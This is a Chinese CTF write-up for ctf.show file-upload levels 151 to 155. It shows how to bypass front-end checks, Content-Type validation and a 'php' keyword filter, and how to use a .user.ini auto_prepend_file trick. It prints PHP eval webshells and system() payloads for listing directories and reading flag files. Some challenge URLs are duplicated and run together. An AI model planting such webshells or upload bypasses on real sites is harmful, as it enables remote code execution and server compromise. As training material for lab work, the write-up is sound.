这段时间一直在搞文件上传相关的知识,正好把ctf的题目做做写写给自字做个总结!
不过有一个确定就是所有的测试全部是黑盒测试,无法从代码层面和大家解释,我找个时间把upload-labs靶场做一做给大家讲讲白盒的代码审计
一、实验准备
1.ctf网站:
www.ctf.show
2.工具:
burpsuite抓包工具、hackbar工具(如果大家没有可以私我)、firefox(火狐浏览器)
二、实验过程
(一)第151关 -- 前端验证
前提:我们已知此处可以上传图片类型文件
对于前端验证,我们常用的有两种方法进行绕过:
1.在右键检查->设置处启用禁止js
不过此方法建议使用虽然我们有时候能够绕过,但是当此网页含有大量使用js编写的代码时,会导致网页部分功能瘫痪!汗颜,ctf也失效了,所以还是老老实实使用第二种方法
2.将后门以.jpg/.png/.gif等允许格式发送,使用bp抓包修改后缀
上传成功!
但是此时可能会有小可爱问呐:哎哎哎,你咋知道就是前端验证呢?说出你的证据!
我们右键查看网页源码,查看到js源码过滤逻辑,只允许我们上传.png文件
3.利用后门文件
一句话木马,上下两种无论带不带引号均可以:
<?php @eval($_POST['ws'])?>
<?php @eval($_POST[ws])?>
此时我们存在两种方法(此处我们统一使用第2中方法):
(1)通过蚁剑连接寻找flag文件
payload:
https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/upload/1.php
连接密码(因人而异):
ws
(2)直接通过hackbar发post包利用system()函数执行
post data:ws=system("ls ../");
post data:ws=system("tac ../flag.php");
成功!
(二)第152关 -- 不严谨的后端验证
1.上传后门及分析
此处考察我们content-type验证为:image/png、image/gif、image/jpg
传输正确文件抓包,content-type为image/pnf
发送一句话木马,修改content-type值为:image/png,此处注意一下,我直接上传.php文件发现无法通过,定睛一看才发现前端验证还没关,汗颜!上传1.png的木马
上传成功!
2.利用后门
与151关类似,我们使用第二种方法,通过hackbar直接发包利用函数的方式获取flag
payload:
https://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.phphttps://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php
https://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php
post data:ws=system('ls ../');
post data:ws=system("tac ../flag.php");
成功!
(三)第153关 -- 利用php中.user.ini文件进行解析
我们尝试使用151关和152关的思路进行解题,发现无法实现,继而想到后端是否过滤大小写,抓包后将1.png文件改成1.pHp,发现能够上传成功,但是无法利用
突然崩溃,但是!.user.ini文件出现了,正如apache服务中的.htaccess文件!
1. .user.ini文件特性
当网站进行扫描时,会将.user.ini文件指向路径内容包含在首页代码处(如index.php、index.html等),使用参数auto_prepend_file(包含至首页文件头部)和auto_append_file(包含在首页文件尾部)进行配置
例如:auto_prepend_file=1.png //将1.png文件内容包含在首页文件中,“=”后紧跟需要包含文件路径
所以,本题的解题思路:
先将.user.ini文件上传至upload目录处,并且在其中写入auto_prepend_file=1.png,紧接着上传1.png格式一句话代码,最后访问payload即可
2.上传.user.ini文件(使用bp中repaeater重发器功能进行上传)
内容:auto_prepend_file=1.png
上传成功
3.上传1.png格式一句话木马
上传成功!
4.利用
首先访问..upload/index.php触发.ujser.ini文件将1.png内容写入index.php中
paylaod:https://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.phphttps://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.php
其次,操作如上述两关
https://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.php(四)第154关 -- 内容过滤
执行思路如153关,但是在上传1.png文件时注意所过滤的内容
1.上传.user.ini文件
(具体不在进行演示与上述153关相同)
2.上传1.png木马文件寻找过滤内容
过滤内容:php
经过多次尝试发包,当文件内容不包含php字眼时可以上传成功,所以过滤内容为php
所以我们的问题变成如何在不写入php字眼时传入后门?提供方式如下:
paylaod:<?=eval($_POST['ws']);?>
上传成功
3.利用后门
是骡子是马我们拉出来遛一遛,进行前述关卡利用操作
首先访问首页文件触发.user.ini将1.png内容写入,触发后门
payload:https://8d5042ac-a58e-46a4-82cf-90dd07ccc04a.challenge.ctf.show/upload/index.php
post data:ws=system("ls ../");
post data:ws=system("tac ../flag.php");
成功!
(五)第155关 -- 内容过滤
整体思路与154关一样,只是过滤内容不一样,所以我们此关着重关注测试所过滤的内容!
1.上传.user.ini文件
内容:auto_prepend_file=1.png
2.测试过滤内容
发现仅仅去掉php即可成功发送(妈呀,那不是直接和154关一样啦!)
过滤内容:php
paylaod:<?=eval($_POST['ws']);?>
3.利用(与154一致)
访问../upload/index.php触发->寻找flag.php文件所在位置->查看flag.php文件内容
成功!
先写到这,明天继续!